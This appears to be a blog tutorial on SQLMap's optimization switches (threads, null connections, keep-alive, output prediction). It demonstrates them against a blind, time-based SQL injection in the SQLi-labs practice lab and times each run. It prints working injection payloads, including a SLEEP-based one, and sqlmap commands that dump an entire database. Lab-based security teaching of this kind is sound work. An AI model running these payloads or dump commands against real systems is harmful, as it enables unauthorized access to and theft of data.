Speeding Up the Process (in a Blind and Time Based Scenario) on SQLMap

Speeding Up the Process (in a Blind and Time Based Scenario) on SQLMap

December 23, 2022 • 6 min read • 11 views • 0 discussions
Table of Contents

    From our previous videos, we have only performed single-thread operations of SQLMap. But, in real life, it is not that easy. There are hundreds of rows that might be present inside a table. So, it means, the operation may take a long time to complete the process. So, we may need to speed up these operations.

    Luckily, the developers of SQLMap have provided us with four types of optimization techniques that will help us speed up the process.

    From the SQL Map Advanced help menu, we got four types of switches, as marked in color below:

      Optimization:
        These options can be used to optimize the performance of sqlmap

        -o                  Turn on all optimization switches
       --predict-output    Predict common queries output
        --keep-alive        Use persistent HTTP(s) connections
        --null-connection   Retrieve page length without actual HTTP response body
        --threads=THREADS   Max number of concurrent HTTP(s) requests (default 1)

    Let’s explain them one by one. In this video, we will be going to perform this operation in a Blind and Time-based scenario.

    Go back to the home page of SQLi-labs and click on this marked link:

    Similar to the previous chapters, we have to input the ID as a parameter with a numeric value on top of the URL bar:

    http://<your IP>/sqli-labs-master/less-9/?id=1

    Now, let’s perform SQLMap, and firstly, try to exploit this injection.

    ┌──(kali㉿kali)-[~]
    └─$sqlmap http://192.168.56.108/sqli-labs-master/Less-9/?id=1 --batch   
    The --batch switch is used to enable a non-interactive session, once we use the switch the interactive shell will never ask for user input, it will automatically input default behavior.

    The time Linux command-line utility automatically tracks and monitors the actual timing of completion of the processes.

    The time taken for this operation is listed below:

    ---
    Parameter: id (GET)
        Type:boolean-based blind
        Title: AND boolean-based blind - WHERE or HAVING clause
        Payload: id=1' AND 1907=1907 AND 'EPDB'='EPDB

        Type:time-based blind
        Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
        Payload: id=1' AND (SELECT 1617 FROM (SELECT(SLEEP(5)))LfOv) AND 'absg'='absg
    ---

    Now, we have confirmed that the injection is Blind and Time-based. Now, we are ready, let’s continue our topic.

    Previously, I have told you that SQLMap provides us four types of optimization techniques as follows: 

    • Multi-threading
    • NULL connections
    • HTTP persistent connections
    • Output prediction

    Multi-threading

    As we have already mentioned, SQL Map runs on only one single thread, which means it is darn slow. We can utilize the --threads switch and specify a value for the number of threads, which ranges from 1 to 10. By increasing the thread count, it can dramatically increase the overall performance of SQLMap.

    Let's try that out. First, let's try to dump all the tables under the database security without the threads option. Here I am going to use the time command line utility to track and monitor the time.

    ┌──(kali㉿kali)-[~]
    └─$time sqlmap http://192.168.56.108/sqli-labs-master/Less-9/?id=1 -D security --dump

    The time Linux command-line utility automatically tracks and monitors the actual timing of completion of the processes.

    The time taken for this operation is listed below:

    real    94.28s
    user    5.17s
    sys     22.54s
    cpu     29%

    Now, let's attempt to do the same with a thread count of 4. But each time we have to remove the log file of the previous operations.

    ┌──(kali㉿kali)-[~]
    └─$rm -rf /home/kali/.local/share/sqlmap/output/192.168.56.108/dump/security
    ┌──(kali㉿kali)-[~]
    └─$time sqlmap -u http://192.168.56.108/sqli-labs-master/Less-9/?id=1 -D security --dump --threads 4

    The time taken for this operation is listed below:

    real    19.72s
    user    1.89s
    sys     5.18s
    cpu     35%

    As you can see, the running time has decreased with additional threads.

    NULL connection

    The NULL connection is enabled by the --null-connection command-line switch. 

    ┌──(kali㉿kali)-[~]
    └─$time sqlmap -u http://192.168.56.108/sqli-labs-master/Less-9/?id=1 -D security --dump --null-connection
    The NULL connection option in SQLMap will try to exploit the injection without actually retrieving the full HTML body of the target. Instead, it utilizes various HTTP properties, such as Range and HEAD to retrieve a certain section of the HTML body, or just simply checks the response length to determine TRUE and FALSE situations.

    The time taken for this operation is listed below:

    real    2.80s
    user    1.29s
    sys     0.98s
    cpu     80%

    If compare it with the previous then you will find out a significant difference. But as the process time decreases, which means CPU usage is high compared to others.

    HTTP persistent connections

    By default, SQLMap closes, opens, and recloses the connection to the target server as per your requirements, but this can sometimes create a bit of overhead. In case there is an overhead, this can be optimized by using the --keep-alive switch which uses the HTTP's persistent connection mechanism, and the exchange of data happens over an already opened connection.

    ┌──(kali㉿kali)-[~]
    └─$time sqlmap -u http://192.168.56.108/sqli-labs-master/Less-9/?id=1 -D security --dump --keep-alive

    The time taken for this operation is listed below:

    real    2.75s
    user    1.22s
    sys     1.13s
    cpu     85%

    If you compare it with the previous out you will find a significant difference.

    Output prediction

    To speed up things even further, SQLMap takes a very novel approach.

    ┌──(kali㉿kali)-[~]
    └─$time sqlmap -u http://192.168.56.108/sqli-labs-master/Less-9/?id=1 -D security --dump --predict-output
    The output-prediction switch uses a table of precompiled datasets containing some common outputs found during SQL injections.

    The time taken for this operation is listed below:

    real    2.60s
    user    1.21s
    sys     1.02s
    cpu     85%

     If you compare it with others, then you will notice basic differences in process time.

    Basic Optimization 

    SQLMap provides an option to turn on some of the flags for performance optimization by using the -o switch.

    ┌──(kali㉿kali)-[~]
    └─$time sqlmap -u http://192.168.56.108/sqli-labs-master/Less-9/?id=1 -D security --dump -o     

    These flags will enable as follows:

    • --keep-alive  
    • --null-connection 
    • --threads 3

    This basically enables persistent connections, NULL connections, and multiple threads to three. This setting can be enabled to achieve rudimentary performance benefits in certain types of injections like those that are error-based.

    The time taken for this operation is listed below:

    real    2.66s
    user    1.12s
    sys     1.04s
    cpu     81%

    If you compare it with others, then you will notice basic differences in process time.

    CybersecMastery

    Your trusted source for cybersecurity education, tutorials, and the latest security news. Learn to protect yourself and stay ahead of threats.

    You Might Also Like

    Symfonos 6 || VulnHub Walkthrough

    Symfonos 6 || VulnHub Walkthrough

    Jan 24 33
    Symfonos 5 || VulnHub Walkthrough

    Symfonos 5 || VulnHub Walkthrough

    Jan 17 23
    Symfonos 4 || VulnHub Walkthrough

    Symfonos 4 || VulnHub Walkthrough

    Dec 12 5
    Symfonos 3 || VulnHub Walkthrough

    Symfonos 3 || VulnHub Walkthrough

    Dec 11 5

    Community Q&A